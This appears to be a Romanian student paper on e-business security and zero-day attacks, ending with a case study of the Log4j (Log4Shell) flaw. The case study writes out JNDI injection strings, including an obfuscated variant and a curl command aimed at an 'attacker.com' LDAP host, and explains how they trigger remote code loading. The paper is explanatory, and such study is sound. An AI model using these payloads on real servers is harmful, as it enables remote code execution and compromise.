Sunteți pe pagina 1din 14

Securitatea în e-business.

Atacuri de tipul „Zero-day”.


Studiu de caz Log4J
Cuprins

I. Introducere.........................................................................................................................2

II. Atacurile „Zero-Day”...........................................................................................................4

a. „Zero-day”: vulnerabilități, exploit-uri și atacuri critice.................................................4

b. Cine efectuează atacuri zero day?..................................................................................5

c. Cine sunt țintele pentru exploit-urile zero-day?.............................................................5

d. Cum se identifică atacurile zero-day?.............................................................................6

e. Cum funcționează atacurile zero-day?...........................................................................7

f. Cum să ne protejăm împotriva atacurilor zero-day?......................................................7

Exemple de atacuri zero-day..................................................................................................8

Câteva exemple recente de atacuri zero-day includ:.............................................................8

III. Studiu de caz. Log4J............................................................................................................9

Bibliografie...............................................................................................................................13
I. Introducere

În prezent, putem trimite sau primi date sub orice formă, de exemplu e-mail-uri,
fișiere video sau audio, printr-o simplă apăsare de buton, dar ne-am gândit vreodată cât de
sigur au fost transmise datele celeilalte persoane, fără vreo scurgere de informații? Breșele de
securitate pot apărea când scriem pe hârtie, trimitem informații prin fax sau chiar verbal. Dar
consecințele încălcării normelor de securitate în cazul informațiilor digitale sunt potențial
mult mai grave deoarece aceste informații pot fi distribuite mai ușor către un public mai larg.
Iar rezolvarea acestei probleme stă în Securitatea cibernetică. Astăzi internetul este
infrastructura cu cea mai rapidă dezvoltare din viața de zi cu zi.
Securitatea cibernetică este denumirea măsurilor de protecție luate pentru a evita sau a
reduce orice perturbare cauzată de un atac asupra datelor, computerelor sau dispozitivelor
mobile. Securitatea cibernetică acoperă nu numai protejarea confidențialității și a vieții
private, ci și disponibilitatea și integritatea datelor, ambele fiind vitale pentru calitatea și
siguranța acestora.
Securitatea cibernetică este un domeniu în continuă schimbare, cu o mulțime de
termeni de specialitate, iar uneori poate părea destul de greoaie. Cu toate acestea, pot fi luate
multe măsuri eficiente și relativ simple pentru a vă proteja informațiile, pe dvs. și organizația
dvs. Așadar, luarea unor măsuri simple și eficiente și practicarea unor comportamente sigure
vor reduce amenințările online.
Consecințele atacurilor cibernetice sunt costisitoare – în ceea ce privește cheltuieli,
timp de recuperare și pierderea reputației. De aceea securitatea cibernetică este prioritară
pentru afaceri și tot personalul trebuie să fie conștient de modul de implementare a măsurilor
de protecție.
Oamenii ar trebui, de asemenea, să fie conștienți de măsurile de Securitate cibernetică
de bază referitoare la uzul personal și profesional.
Spațiul cibernetic este format din diverse sisteme informatice conectate și sisteme de
telecomunicații integrate. A devenit o caracteristică a societății moderne, îmbunătățind și
permițând comunicarea rapidă, sistemele de comandă și control distribuite, stocarea și
transferul de date în masă și o serie de sisteme foarte distribuite.
Atacurile cibernetice sunt din ce în ce mai frecvente și atacatorii pot lansa campanii
fără intervenția umană odată cu apariția viermilor ransomware bazați pe rețea. Numărul
evenimentelor de securitate a crescut ca număr și ca complexitate. [1]
Un atac cibernetic are loc atunci când o persoană sau o organizație încearcă în mod
deliberat și rău intenționat să încalce sistemul de informații al altei persoane sau
organizații. Deși există de obicei un obiectiv economic, unele atacuri recente arată ca obiectiv
distrugerea datelor.
Actorii rău intenționați caută adesea răscumpărare sau alte tipuri de câștig economic,
dar atacurile pot fi comise cu o serie de motive, inclusiv în scopuri de activism politic. 
Tabloul securității cibernetice este în continuă schimbare. Atacatorii caută constant
noi puncte slabe și vulnerabilități de exploatat în rețelele corporatiste, în timp ce companiile
sunt nevoite să adopte noi abordări mai deschise pentru sistemele IT . [3]

II. Atacurile „Zero-Day”

Atacurile numite „Zero-Day” sunt unul dintre cele mai temute și periculoase incidente
de securitate, în plus, aproximativ 80% din atacurile la scară largă care se produc sunt
datorate unei Zero-Day pe dispozitive hardware sau software. Aceste tipuri de atacuri
afectează atât utilizatorii casnici cât și mediile corporative. [5]
Atacurile zero-day sunt tot mai dese și mult mai aproape decât am putea crede, iar
2021 este anul recordurilor. Anul acesta au fost găsite cel puțin 66 de vulnerabilități zero-day,
aproape dublu față de 2020 și mai mult decât în orice alt an înregistrat vreodată.

a. „Zero-day”: vulnerabilități, exploit-uri și atacuri critice

„Zero-day” este un termen larg care descrie vulnerabilitățile de securitate descoperite


recent, pe care hackerii le pot folosi pentru a ataca sistemele. Un atac zero-day este un atac
cibernetic ce are loc atunci când hackerii exploatează defectul înainte ca victima să aibă șansa
de a-l aborda. Asta înseamnă că are „zero zile” pentru a remedia problema. Producătorii de
soluții de securitate folosesc metode statistice și tehnici pe bază de semnătură sau de
comportament pentru a detecta intruziunile care au vulnerabilități de acest gen. [4]
Vulnerabilitățile zero-day sunt acele vulnerabilități de software sau hardware
descoperite de atacatori înainte ca furnizorii să devină conștienți de acestea. Asta înseamnă că
nu există niciun patch pentru acestea, ceea ce face ca atacurile să poată fi duse la capăt fără
stres din partea atacatorilor. Uneori, hackerii ”white hat” descoperă vulnerabilități și ajută
dezvoltatorii de softuri/hardware să stabilească bug-ul și să elibereze un patch necesar, care
previne un atac zero-day. [3]
Patch-urile sunt extrem de importante deoarece acoperă „găurile” de securitate pe care
nu le-a acoperit o actualizare software sau o descărcare inițială a acestuia.
Exploit-urile sunt acele metode pe care le folosesc hackerii pentru a ataca sistemele în
urma unei vulnerabilități neidentificate anterior. Astfel, atacatorii vor avea acces la sistemele
IT și vor putea injecta un program malware, spyware sau adware.
Atacurile 0-day sunt acțiunile prin care se utilizează exploit-urile pentru a provoca
daune sau pentru a fura date dintr-un sistem afectat deja de o vulnerabilitate.

b. Cine efectuează atacuri zero day?

Actorii rău intenționați care efectuează atacuri zero-day se încadrează în diferite


categorii, în funcție de motivația lor. De exemplu:

 Infractorii cibernetici – hackeri a căror motivație este de obicei câștigul financiar


 Hacktiviști – hackeri motivați de o cauză politică sau socială care doresc ca atacurile
să fie vizibile pentru a atrage atenția asupra cauzei lor
 Spionajul corporativ – hackeri care spionează companiile pentru a obține informații
despre acestea
 Război cibernetic – țări sau actori politici care spionează sau atacă infrastructura
cibernetică a unei alte țări

c. Cine sunt țintele pentru exploit-urile zero-day?

Un hack zero-day poate exploata vulnerabilități într-o varietate de sisteme, inclusiv:

 Sisteme de operare
 Browsere web
 Aplicații de birou
 Componente open-source
 Hardware și firmware
 Internetul lucrurilor

Ca urmare, există o gamă largă de victime potențiale:

 Persoanele care folosesc un sistem vulnerabil, cum ar fi un browser sau un sistem de


operare Hackerii pot folosi vulnerabilitățile de securitate pentru a compromite
dispozitivele și pentru a construi botnet-uri mari
 Persoane cu acces la date valoroase de afaceri, cum ar fi proprietatea intelectuală
 Dispozitive hardware, firmware și Internetul lucrurilor
 Afaceri și organizații mari
 Agentii guvernamentale
 Ținte politice și/sau amenințări la securitatea națională

Este util să ne gândim în termeni de atacuri de zi zero direcționate versus


nedirecționate:

 Atacurile țintite zero-day sunt efectuate împotriva unor ținte potențial valoroase - cum
ar fi organizații mari, agenții guvernamentale sau persoane de profil înalt.
 Atacurile zero-day ne-țintite sunt de obicei efectuate împotriva utilizatorilor
sistemelor vulnerabile, cum ar fi un sistem de operare sau un browser.

Chiar și atunci când atacatorii nu vizează anumite persoane, un număr mare de


oameni pot fi totuși afectați de atacuri zero-day, de obicei ca daune colaterale. Atacurile
nedirecționate urmăresc să capteze cât mai mulți utilizatori, ceea ce înseamnă că datele
utilizatorului mediu ar putea fi afectate.

d. Cum se identifică atacurile zero-day?

Deoarece vulnerabilitățile zero-day pot lua mai multe forme – cum ar fi lipsa criptării
datelor, lipsa autorizațiilor, algoritmii defectați, erorile, problemele cu securitatea parolei și
așa mai departe – pot fi dificil de detectat. Datorită naturii acestor tipuri de vulnerabilități,
informații detaliate despre exploit-urile zero-day sunt disponibile numai după identificarea
exploit-ului.
Organizațiile care sunt atacate de un exploit zero-day pot vedea trafic neașteptat sau
activitate de scanare suspectă care provine de la un client sau serviciu. Unele dintre tehnicile
de detectare zero-day includ:
 Utilizarea bazelor de date existente de malware și modul în care acestea se comportă
ca referință. Deși aceste baze de date sunt actualizate foarte rapid și pot fi utile ca
punct de referință, prin definiție, exploit-urile zero-day sunt noi și necunoscute. Deci
există o limită a cât de mult vă poate spune o bază de date existentă.
 În mod alternativ, unele tehnici caută caracteristici malware zero-day pe baza modului
în care interacționează cu sistemul țintă. În loc să examineze codul fișierelor primite,
această tehnică analizează interacțiunile pe care le au cu software-ul existent și
încearcă să determine dacă acestea rezultă din acțiuni rău intenționate.
 Din ce în ce mai mult, învățarea automată este folosită pentru a detecta date din
exploit-urile înregistrate anterior, pentru a stabili o linie de bază pentru
comportamentul sigur al sistemului, bazat pe datele interacțiunilor trecute și actuale
cu sistemul. Cu cât sunt mai multe date disponibile, cu atât detectarea devine mai
fiabilă.

e. Cum funcționează atacurile zero-day?

Iată care este clasicul șir de evenimente al unui atac zero-day, de la lansarea
softului/hardware-ului pe piață și până la rezolvarea problemei de securitate:
Software-ul sau hardware-ul este dezvoltat și lansat pe piață – acesta conține o
vulnerabilitate nedetectată de dezvoltatori.
Hackerii detectează vulnerabilitatea – înainte ca dezvoltatorul să o sesizeze sau
înainte ca acesta să lanseze un patch.
Atacatorii eliberează un malware pentru a exploata softul – atunci când acea
vulnerabilitate nu este încă detectată sau rezolvată de către dezvoltator.
Detecție și patch-ing – după ce hackerii au lansat un exploit, fie terțe persoane
identifică furtul de date, fie dezvoltatorul îl depistează și creează un patch de securitate.
Atunci când hackerii ”black hat” descoperă vulnerabilități în diverse softuri, nu ezită
să atace sau să o vândă altor persoane ori organizații care caută în mod special potențiale
victime (uneori, vorbim de un simplu hacker sau de o grupare de infractori cibernetici în
acțiune). Iar atunci când nici dezvoltatorul și nici utilizatorii care folosesc acel soft nu cunosc
elementul vulnerabil, află de acesta abia atunci când atacul este deja lansat și a început să
provoace daune.
Software-ul rămâne vulnerabil la atac până în momentul în care este lansat acel patch
și pus în aplicare, însă lucrul acesta poate dura câteva zile, luni sau chiar ani, timp în care
consecințele pot fi dezastruoase. Aici intervin specialiștii și rapiditatea lor în a găsi soluțiile
pentru a opri atacul și a minimiza pierderile suferite. [3]

f. Cum să ne protejăm împotriva atacurilor zero-day?

Pentru protecție zero-day și pentru a ne păstra computerul și datele în siguranță, este


esențial ca atât persoanele, cât și organizațiile să urmeze cele mai bune practici de securitate
cibernetică. Acestea includ:
Păstrarea tuturor programelor și sistemelor de operare la zi. Acest lucru se datorează
faptului că vânzătorii includ corecții de securitate pentru a acoperi vulnerabilitățile nou
identificate în noile versiuni. Menținerea la zi ne asigură că suntem mai în siguranță.
Utilizarea numai a aplicațiilor esențiale. Cu cât aveți mai mult software, cu atât aveți
mai multe vulnerabilități potențiale. Putem reduce riscul pentru rețea utilizând numai
aplicațiile de care avem nevoie.
Utilizarea unui firewall. Un firewall joacă un rol esențial în protejarea sistemului
împotriva amenințărilor zero-day. Putem asigura protecție maximă configurându-l pentru a
permite doar tranzacțiile necesare.
În cadrul organizațiilor, educarea utilizatorilor. Multe atacuri zero-day valorifică
eroarea umană. Învățarea angajaților și utilizatorilor bune obiceiuri de siguranță și securitate
îi va ajuta să-i mențină în siguranță online și să protejeze organizațiile de exploatările zero-
day și alte amenințări digitale.
Utilizarea unei soluții software antivirus cuprinzătoare. Aceasta ajută să ne păstrăm
dispozitivele în siguranță prin blocarea amenințărilor cunoscute și necunoscute.

Exemple de atacuri zero-day

Câteva exemple recente de atacuri zero-day includ:

2021: Vulnerabilitatea Chrome de zi zero


În 2021, Chrome de la Google a suferit o serie de amenințări zero-day, determinând
Chrome să emită actualizări . Vulnerabilitatea a provenit dintr-o eroare în motorul JavaScript
V8 folosit în browserul web. [6]
2020: Zoom
A fost găsită o vulnerabilitate în populara platformă de videoconferință . Acest
exemplu de atac zero-day a implicat hackeri care accesau computerul unui utilizator de la
distanță dacă rulau o versiune mai veche de Windows. Dacă ținta era un administrator,
hackerul putea să preia complet mașina lor și să le acceseze toate fișierele. [6]
2020: Apple iOS
iOS-ul Apple este adesea descris ca fiind cea mai sigură dintre platformele majore de
smartphone-uri. Cu toate acestea, în 2020, a căzut victimă a cel puțin două seturi de
vulnerabilități iOS zero-day, inclusiv un bug zero-day care a permis atacatorilor să
compromită iPhone-urile de la distanță. [6]
2019: Microsoft Windows, Europa de Est
Acest atac s-a concentrat asupra privilegiilor de escaladare locală, o parte vulnerabilă
a Microsoft Windows și a vizat instituțiile guvernamentale din Europa de Est. Exploatarea
zero-day a abuzat de o vulnerabilitate locală de privilegii în Microsoft Windows pentru a rula
cod arbitrar și a instala aplicații și a vizualiza și modifica datele aplicațiilor compromise. [6]
Stuxnet
Unul dintre cele mai faimoase exemple de atac de zi zero a fost Stuxnet. Descoperit
pentru prima dată în 2010, dar cu rădăcini care s-au răspândit până în 2005, acest vierme de
computer rău intenționat a afectat computerele de producție care rulau software-ul controler
logic programabil (PLC). Ținta principală au fost uzinele de îmbogățire a uraniului din Iran
pentru a perturba programul nuclear al țării. Viermele a infectat PLC-urile prin vulnerabilități
din software-ul Siemens Step7, determinând PLC-urile să execute comenzi neașteptate pe
mașinile din linia de asamblare. Povestea lui Stuxnet a fost ulterior transformată într-un
documentar numit Zero Days . [6]

III. Studiu de caz. Log4J

Un defect major de securitate a fost descoperit într-un software denumit Log4j, care
este folosit de milioane de servere web. Bug-ul face serverele vulnerabile la atacuri
cibernetice, iar tehnicienii din întreaga lume se luptă pentru a corecta sistemele afectate
înainte ca hackerii să le poată exploata.
Log4Shell este o vulnerabilitate critică gravă care afectează multe versiuni ale
aplicației Apache Log4j. Vulnerabilitatea permite executarea de cod la distanță
neautentificată. Atacatorii pot profita de el modificând șirul user-agent al browserului în
format ${jndi:ldap://[attacker_URL]} . Această vulnerabilitate poate fi găsită în produsele
unora dintre cei mai renumiți furnizori de tehnologie, cum ar fi AWS, IBM, Cloudflare,
Cisco, iCloud, Minecraft: Java Edition, Steam și VMWare. [8]
Problema cu modulul Log4j a fost observată pentru prima dată în jocul video
Minecraft. Totuși, a devenit rapid evident faptul că impactul său a fost mult mai mare.
Apache Log4j este un utilitar de înregistrare bazat pe Java. Rolul bibliotecii Java
Log4j este de a înregistra informații care ajută aplicațiile să funcționeze fără probleme, să
determine ce se întâmplă și să ajute cu procesul de depanare atunci când apar erori.
Bibliotecile de înregistrare notează de obicei mesajele în fișierul jurnal sau într-o bază
de date. Înainte ca șirul să fie înregistrat într-un fișier jurnal, acesta este procesat frecvent. De
exemplu, variabilele definite ca ${variable} s-au extins ca dată, oră sau nume de
utilizator. Expresia ${user.username} poate fi înlocuită cu numele de utilizator actual al
utilizatorului curent folosind o expresie precum Log.info("${user.username} not
found") . Acest lucru este similar cu utilizarea $() în PowerShell pentru a extinde și a analiza
șiruri.
Pentru căutări de la distanță pentru a prelua aceste informații de la o mașină la
distanță, Log4j folosește Java Naming and Directory Interface (JNDI). JNDI permite
programatorilor să caute elemente folosind o varietate de servicii și protocoale, inclusiv
LDAP, DNS, Java Remote Method Invocation (RMI) și altele.
Sintaxa JNDI este: ${ jndi:protocol://server}. ${}
Aceste blocuri pot fi imbricate și îmbinate. Permite nenumărate tehnici complicate de
ofuscare care pot fi utilizate. De exemplu, atacatorii pot folosi ${${lower:jn}${lower:di}} în
loc de ${ jndi:}. Acest lucru permite atacatorilor să preia informații de pe un server la distanță
prin exploatarea vulnerabilității. Ei pot, de exemplu, să citească o variabilă de mediu și să
utilizeze valoarea acesteia într-o interogare LDAP.
Obiectele Java pot fi, de asemenea, stocate într-un serviciu de director, iar JNDI are o
logică care detectează când un obiect director conține un obiect Java și îl încarcă în
memorie. Încărcătorul de obiecte LDAP va prelua conținutul URL-ului definit în
javaCodebase și îl va folosi pentru a crea un obiect în memorie, dacă obiectul LDAP are
atributul ObjectClass definit ca javaNamingReference și are atributele javaCodebase,
javaFactory și javaClassName. Metoda de inițializare a acestei clase (constructor) este apelată
și încarcă cod care nu este de încredere dintr-o sursă neîncrezătoare.
Dacă atacatorul poate găsi o modalitate de a obține un șir special conceput pentru a fi
procesat de cadrul de logare Log4j, un atacator îl poate exploata. De exemplu, o aplicație web
(ținta acestei vulnerabilități) stochează de obicei șirul de agent de utilizator, care identifică
browserul utilizat de vizitatori.
String userAgent = request.getRequestHeader("User-Agent");
log.info(userAgent)
Atacatorii pot specifica un șir personalizat de agent utilizator pentru conexiunile
lor. Aceste date sunt salvate într-un fișier jurnal, iar Log4j este exploatat în timpul procesării
lor. Iată un șir user-agent special creat pentru a declanșa această vulnerabilitate:
curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}"
Log4j permite mesajelor înregistrate să conțină șiruri de format care fac referire la
informații externe prin intermediul Java Naming and Directory Interface (JNDI) . Acest lucru
permite ca informațiile să fie preluate de la distanță printr-o varietate de protocoale, inclusiv 
Lightweight Directory Access Protocol (LDAP) .
De exemplu, când Log4j găsește următorul șir într-un mesaj de jurnal:
${jndi:ldap://prplbx.com/security}
Îi cere JNDI să solicite serverului LDAP de la „prplbx.com” obiectul
„securitate”. Prin proiectare, JNDI va executa clase Java la care face referire un server
LDAP. Dacă răspunsul serverului LDAP face referire la adresa
URL https://prplbx.com/security , JNDI va solicita automat fișierul security.class de la
serverul web și va executa răspunsul.
Deoarece conținutul mesajelor de jurnal conține adesea date controlate de utilizator,
atacatorii pot introduce referințe JNDI care indică către serverele LDAP pe care le
controlează, gata să servească clase Java rău intenționate care efectuează orice acțiune pe care
o doresc. [8]
Figura 3.1 Modul de funcționare al bibliotecii în ambele scenarii [8]

Captura de ecran de mai jos este o listă a antetelor HTTP dintr-o solicitare GET care
ilustrează atacatorul folosind interact.sh pentru a căuta servere vulnerabile.

Figura 3.2 Exemplu de încercare de atac [8]

Deși problema care activează atacul Log4Shell există în cod de ceva timp, aceasta a
fost descoperită abia la sfârșitul lunii noiembrie de către un cercetător în securitate din cadrul
Alibaba Cloud, o firmă de calcul din China. El a raportat imediat problema către Apache
Software Foundation, organizația americană nonprofit care supraveghează sute de proiecte
open source, inclusiv Log4j, pentru a le oferi timp să rezolve problema înainte ca aceasta să
fie dezvăluită public. [7]
Tehnicienii din cadrul Apache au oferit vulnerabilității un clasament „critic” și s-au
grăbit să dezvolte o soluție. În prezent, sute de mii de echipe IT se străduiesc să actualizeze
Log4j la versiunea 2.15.0, care a fost lansată înainte ca vulnerabilitatea să fie făcută publică și
care rezolvă, în mare parte, problema. De asemenea, echipele vor trebui să cerceteze codul
pentru posibile vulnerabilități și să urmărească încercările de hacking. [7]
În timp ce patch-urile lansate pentru a remedia astfel de probleme pot apărea foarte
rapid, mai ales atunci când sunt dezvăluite în mod responsabil echipei de dezvoltare, este
nevoie de timp pentru ca toată lumea să le aplice. Calculatoarele și serviciile web actuale sunt
atât de complexe încât ar putea dura luni până când toate aceste servicii să fie actualizate.

Bibliografie

[1] https://andcom.erasmus.site/ro/courses/module-5-cybersecurity-as-basic-necessity-of-

every-learning-process/lessons/chapter-1-cyber-security-introduction-and-overview/

[2] https://www.infocyte.com/blog/2019/05/01/cybersecurity-101-intro-to-the-top-10-

common-types-of-cyber-security-attacks/

[3] https://www.one-it.ro/blog/atacurile-zero-day-au-atins-cifre-record-cum-le-poti-preveni-

in-2021/

[4] https://ro.linuxteaching.com/article/what_is_a_zeroday_exploit

[5] https://itigic.com/ro/zero-day-attack-how-to-protect/

[6] https://www.kaspersky.com/resource-center/definitions/zero-day-exploit

[7] https://tehnostiri.ro/index.php/2021/12/14/bug-log4j/

[8] https://www.prplbx.com/resources/blog/log4j/#8-conclusion

S-ar putea să vă placă și